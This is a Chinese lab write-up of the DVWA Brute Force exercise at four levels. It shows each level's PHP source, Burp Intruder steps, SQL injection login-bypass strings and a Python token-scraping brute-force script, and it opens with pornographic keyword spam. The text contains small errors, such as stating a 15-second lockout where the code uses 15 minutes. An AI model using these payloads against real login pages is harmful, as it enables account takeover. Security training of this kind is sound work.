日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

DVWA--Brute Force(暴力破解)--四个等级

發布時間:2023/12/31 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA--Brute Force(暴力破解)--四个等级 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

DVWA的Brute Force,也就是我們所熟悉的暴力破解,這里它一共有四個等級
Low、Medium、High、Impossible
這里我們就源碼簡單探討一下

Low

源代碼:

<?phpif( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ];// Get password$pass = $_GET[ 'password' ];$pass = md5( $pass );// Check the database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) {// Get users details$row = mysqli_fetch_assoc( $result );$avatar = $row["avatar"];// Login successfulecho "<p>Welcome to the password protected area {$user}</p>";echo "<img src=\"{$avatar}\" />";}else {// Login failedecho "<pre><br />Username and/or password incorrect.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?>

mysqli_query(connection,query,resultmode) :執行一條 MySQL 查詢
connection 必需。規定要使用的 MySQL 連接
query 必需,規定查詢字符串。
resultmode 可選。一個常量。可以是下列值中的任意一個:
MYSQLI_USE_RESULT(如果需要檢索大量數據,請使用這個)
MYSQLI_STORE_RESULT(默認)

針對成功的SELECT,SHOW,DESCRIBE或EXPLAIN查詢,將返回一個mysqli_result對象。針對其他成功的查詢,將返回TRUE。如果失敗,則返回FALSE

$GLOBALS :引用全局作用域中可用的全部變量
$GLOBALS 這種全局變量用于在 PHP 腳本中的任意位置訪問全局變量(從函數或方法中均可)
PHP 在名為 $GLOBALS[index] 的數組中存儲了所有全局變量。變量的名字就是數組的鍵

or :php其中一個運算符,表示或
$x or $y 如果 $x 和 $y 至少有一個為 true,則返回 true
命令1 or 命令2:如果命令1返回true,則不執行or后面的命令;如果命令1返回false,則執行命令2
和die連用比較多,舉例:

<?php $site = "https://www.baidu.com/"; fopen($site,"r") //以只讀形式打開$site這個網址 or die("Unable to connect to $site"); /* 如果可以打開網站,不執行die;如果不能打開,執行die(die輸出一條消息,并退出當前腳本,所以是true的), 執行die之后,不管發生什么,程序都已經停止運行,并且顯示指定出錯信息,也就達到了調試的目的 */ ?>

die(status) :輸出一條消息,并退出當前腳本
status 必需。規定在退出腳本之前需要輸出的消息或狀態號。狀態號不會被寫入輸出
如果 status 是字符串,則該函數會在退出前輸出字符串。
如果 status 是整數,這個值會被用作退出狀態。退出狀態的值在 0 至 254 之間。退出狀態 255 由 PHP 保留,不會被使用。狀態 0 用于成功地終止程序
注釋:如果 PHP 的版本號大于等于 4.2.0,那么在 status 是整數的情況下,不會輸出該參數

is_object($var) :用于檢測變量是否是一個對象
$var:要檢測的變量
如果指定變量為對象,則返回TRUE,否則返回FALSE

mysqli_error(connection) :返回上一個 MySQL 操作產生的文本錯誤信息
本函數返回上一個 MySQL 函數的錯誤文本,如果沒有出錯則返回 ‘’(空字符串)
connection 可選。規定 SQL 連接標識符。如果未規定,則使用上一個打開的連接
舉例:

<?php $con = mysqli_connect("localhost","username","password"); if (!$con){die(mysqli_error());} mysqli_close($con); ?>

mysqli_connect_error() :返回上一次連接錯誤的錯誤描述
返回一個描述錯誤的字符串。如果沒有錯誤發生則返回NULL

mysqli_num_rows(result) :返回結果集中行的數目
result 必需。規定由 mysqli_query()、mysqli_store_result() 或 mysqli_use_result() 返回的結果集標識符

舉例:

<?php $con = mysqli_connect("localhost", "hello", "321"); if (!$con){die('Could not connect: ' . mysqli_error());}$db_selected = mysqli_select_db("test_db",$con);$sql = "SELECT * FROM person"; $result = mysqli_query($sql,$con); echo mysqli_num_rows($result);mysqli_close($con); ?> /* 輸出類似: 3 */

mysqli_fetch_assoc(result) :從結果集中取得一行作為關聯數組
本函數返回的字段名是區分大小寫的
返回值: 返回代表讀取行的關聯數組。如果結果集中沒有更多的行則返回NULL
舉例:

<?php $con = mysqli_connect("localhost", "hello", "321"); if (!$con){die('Could not connect: ' . mysqli_error());}$db_selected = mysqli_select_db("test_db",$con); $sql = "SELECT * from Person WHERE Lastname='Adams'"; $result = mysqli_query($sql,$con); print_r(mysqli_fetch_assoc($result));mysqli_close($con); ?> /* 輸出: Array ( [LastName] => Adams [FirstName] => John [City] => London ) */

is_null ($var) :檢測變量是否為 NULL
var 允許傳入任意參數
如果var是NULL則返回 TRUE,否則返回 FALSE

mysqli_close(connection) :關閉先前打開的數據庫連接
connection 必需。規定要關閉的 MySQL 連接
返回值: 如果成功則返回TRUE,如果失敗則返回FALSE

滲透過程
1.登陸前打開Burpsuite抓包,抓到GET請求包
發送到Intruder,選擇需要爆破的變量,這里我們假設已知用戶名為admin的情況

配置爆破字典

調整線程,提高爆破速度

爆破成功,有一個Length和其他都不相同,這里可以看出它就是正確密碼


注:這里也可以使用萬能密碼登錄,例如

admin' or '1'='1可以 admin' and 1=1#不可以

主要由于mysqli_num_rows( $result ) == 1,因為這個表示從數據庫中得到的結果只有一條才符合條件,可以將拼接后的mysql語句放入mysql中執行
成功的:

例如使用admin' or '1'='1后,密碼為空,拼接后的內容為 $query = "SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = 'd41d8cd98f00b204e9800998ecf8427e';";

例如使用admin' and 1=1#后,運行過程如下,因為是GET請求,所以收到請求后,URL如下 http://192.168.1.110/dvwa/vulnerabilities/brute/?username=admin%27+and+1%3D1%23&password=&Login=Login# 注:URL中的#是不會傳入php代碼中,因為它是錨點,除了被編碼,就像這里的%23,%23會在傳入php中時變為# 因為 <?php if( isset( $_GET[ 'Login' ] ) ) {// Get username$user = $_GET[ 'username' ]; 釋義:php內部$user=admin' and 1=1#,這里的#就是由URL中的%23傳入得來// Get password$pass = $_GET[ 'password' ]; 釋義:php內部password為null$pass = md5( $pass );// Check the database$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; //$query = "SELECT * FROM `users` WHERE user = 'admin' and 1=1#' AND password = '$pass';"; ?>

失敗的:
admin’ or 1=1#
拼接后如下:

SELECT * FROM `users` WHERE user = 'admin' or 1=1#' AND password = 'd41d8cd98f00b204e9800998ecf8427e';

還有個疑問,為什么and 1=1可以,or 1=1卻不可以?
知道他們的區別就行:and 要滿足所有條件,or只要滿足一個條件即可,這不是重點,關鍵在于SQL查詢語句中or 1=1表示把表中的所有數據都查詢出來(注:前提是or 1=1或or ‘1’='1’后面沒有任何內容,如果有and等其他內容還是會顯示一條數據),而and 1=1和有沒有都一樣,并且or 1=0只顯示一個數據,and 1=0報錯。
所有對比如下:


Medium

源代碼: <?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $user = $_GET[ 'username' ]; $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( 2 ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

部分代碼釋義:
mysqli_real_escape_string(connection,escapestring) :轉義在SQL語句中使用的字符串中的特殊字符
connection 必需。規定要使用的 MySQL 連接
escapestring 必需。要轉義的字符串。編碼的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z
返回值: 返回已轉義的字符串
舉例:
這里舉的不是很好但是大致可以理解

假設$a是變量(實則是一個字符串),以上代碼返回true,假設你傳入一個$a傳入一個單引號,那么我們看看會發生什么

假設上面使用的是mysqli_real_escape_string()函數,是這個函數添加的\,轉義了第2個單引號;此時上面圖中的第2個單引號和第3個單引號不能構成空,也就是’ ‘;因為嘛,被轉義的單引號現在僅僅就是個字符,并不能使用它的任何“權利”;比如它要和另一個單引號結合,這是不可能的,因為你已經被轉義了;雖然你加了\外表還是’,但你和第3個單引號內在是不一樣的(這里所說單引號,都是上圖中的)

trigger_error(errormsg,errortype) :創建用戶級別的錯誤消息。
trigger_error() 函數能結合內置的錯誤處理器所關聯,或者可以使用用戶定義的函數作為新的錯誤處理程序(set_error_handler())
errormsg 必需。規定錯誤消息。最大長度 1024 字節。
errortype 可選。規定錯誤類型。可能的值:
E_USER_ERROR
E_USER_WARNING
E_USER_NOTICE(默認)
如果規定了錯誤的 errortype,則返回 FALSE。否則返回 TRUE
舉例:

<?phpif ($usernum>10) {trigger_error("Number cannot be larger than 10");}?> /*以上代碼的輸出類似這樣: Notice: Number cannot be larger than 10in C:\webfolder\test.php on line 6*/

E_USER_ERROR
E_USER_ERROR只能通過trigger_error($ msg,E_USER_ERROR)手動觸發.E_USER_ERROR是用戶自定義錯誤類型,可以被設置為錯誤處理函數捕獲退出運行

sleep(seconds) :延遲執行當前腳本若干秒
seconds 必需。規定延遲執行腳本的秒數
如果指定秒數是負數,該函數將拋出一個錯誤
如果成功則返回0,如果錯誤則返回FALSE。
如果調用被信號中斷,該函數返回一個非零值。在Windows平臺上,該值將總是192,表示Windows API中的WAIT_IO_COMPLETION常量的值。在其他平臺上,返回值將是剩余的延遲秒數

medium代碼用mysqli_real_escape_string(connection,escapestring)對輸入的用戶名與密碼進行了轉義,防止了利用單引號,雙引號等參數構造進行SQL注入,這里的sleep(2),表示登陸失敗時,延遲2s返回登錄失敗信息,這就造成了每一次爆破如果密碼錯誤,進行下一次爆破要比之前Low級別的代碼多上2s延遲,其他沒有什么。


High

源代碼: <?php if( isset( $_GET[ 'Login' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( rand( 0, 3 ) ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // Generate Anti-CSRF token generateSessionToken(); ?>

部分函數釋義:
stripslashes(string) :刪除反斜杠
string 必需。規定要檢查的字符串

rand(min,max) :返回隨機整數
min,max 可選。規定隨機數產生的范圍
如果沒有提供可選參數 min 和 max,rand() 返回 0 到 RAND_MAX 之間的偽隨機整數。例如,想要 5 到 15(包括 5 和 15)之間的隨機數,用 rand(5, 15);在某些平臺下(例如 Windows)RAND_MAX 只有 32768。如果需要的范圍大于 32768,那么指定 min 和 max 參數就可以生成大于 RAND_MAX 的數了,或者考慮用 mt_rand() 來替代它

High級別的代碼使用了Anti-CSRF token來抵御CSRF的攻擊,使用了stripslashes函數和mysqli_real_esacpe_string來抵御SQL注入和XSS的攻擊

由于使用了Anti-CSRF token,每次服務器返回的登陸頁面中都會包含一個隨機的user_token的值,用戶每次登錄時都要將user_token一起提交。服務器收到請求后,會優先做user_token的檢查,再進行sql查詢。

方法一:使用burpsuite爆破
前提:截取到數據包時,不可放行,要保持截取的狀態,否則無法Refetch response,造成無法爆破
例:爆破時保持該狀態

(1)抓到包后設置Positions

(2)設置Options
①設置線程

②找到Grep-Extract,選擇Extract the following items from responses:,再點擊add(下圖中是我之前就已經添加了的)

③獲取返回頁面的源碼

④找到需要爆破的user_token的值,然后點擊OK,這里記得保存該值

(3)設置payloads


注:Positions中user_token的值是不可以的

(4)之后就可以開始攻擊

注:該方法成功爆破后無法再次爆破,需要重新截取數據包重新操作!!!

方法二:使用后burp中宏自動化獲取token進行攻擊

參考我的另一篇文章(以DVWA為例):Burpsuite中宏的使用

方法三:我們用python3寫一段代碼進行自動化爆破

from bs4 import BeautifulSoup import requestsdef get_token(requrl,header):response = requests.get(url=requrl,headers=header)print(response.status_code,len(response.content)) # response.status_code(),輸出狀態碼 response.content(),獲取響應的內容soup = BeautifulSoup(response.text,"html.parser") # 獲取被抓取頁面的html代碼,并使用html.parser來實例化BeautifulSoup,屬于固定套路input = soup.select("input[type='hidden']") # 返回的是一個list列表user_token = input[0]['value'] #獲取用戶的tokenreturn user_tokenif __name__ =='__main__':requrl = "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/"header = {"Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Accept-Language" : "zh-CN,zh;q=0.9,en;q=0.8","Connection" : "keep-alive","Cookie" : "security=high; PHPSESSID=qcssnmjr6hs4ntsile37dav20h","Host" : "127.0.0.1:8008","Referer" : "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/","Upgrade-Insecure-Requests" : "1","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"}user_token = get_token(requrl,header)i = 0for line in open("C:/Users/Yuen/Desktop/pass.txt"):requrl = "http://127.0.0.1:8008/dvwa/vulnerabilities/brute/?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_tokeni = i + 1print(i,'admin',line.strip(),end=" ")user_token = get_token(requrl,header)if (i == 10):break

這里我就爆破了10次,作為演示,實際次數取決于你字典的大小和你的需求

Impossible

源代碼: <?phpif( isset( $_POST[ 'Login' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Sanitise username input$user = $_POST[ 'username' ];$user = stripslashes( $user );$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitise password input$pass = $_POST[ 'password' ];$pass = stripslashes( $pass );$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass = md5( $pass );// Default values$total_failed_login = 3;$lockout_time = 15;$account_locked = false;// Check the database (Check user information)$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// Check to see if the user has been locked out.if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {// User locked out. Note, using this method would allow for user enumeration!//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";// Calculate when the user would be allowed to login again$last_login = strtotime( $row[ 'last_login' ] );$timeout = $last_login + ($lockout_time * 60);$timenow = time();/*print "The last login was: " . date ("h:i:s", $last_login) . "<br />";print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";*/// Check to see if enough time has passed, if it hasn't locked the accountif( $timenow < $timeout ) {$account_locked = true;// print "The account is locked<br />";}}// Check the database (if username matches the password)$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR);$data->bindParam( ':password', $pass, PDO::PARAM_STR );$data->execute();$row = $data->fetch();// If its a valid login...if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {// Get users details$avatar = $row[ 'avatar' ];$failed_login = $row[ 'failed_login' ];$last_login = $row[ 'last_login' ];// Login successfulecho "<p>Welcome to the password protected area <em>{$user}</em></p>";echo "<img src=\"{$avatar}\" />";// Had the account been locked out since last login?if( $failed_login >= $total_failed_login ) {echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";}// Reset bad login count$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();} else {// Login failedsleep( rand( 2, 4 ) );// Give the user some feedbackecho "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";// Update bad login count$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute();}// Set the last login time$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );$data->bindParam( ':user', $user, PDO::PARAM_STR );$data->execute(); }// Generate Anti-CSRF token generateSessionToken();?>

Impossible級別的代碼加入了可靠的防爆破機制,當檢測到錯誤登錄3次后將會鎖定賬戶15s,系統會將賬戶鎖定,爆破也就無法繼續
同時采用了更為安全的PDO(PHP Data Object)機制防御sql注入,這是因為不能使用PDO擴展本身執行任何數據庫操作,而sql注入的關鍵就是通過破壞sql語句結構執行惡意的sql命令

因為我還沒有學過PDO,等學完,會寫一片PDO筆記分享給大家

創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的DVWA--Brute Force(暴力破解)--四个等级的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。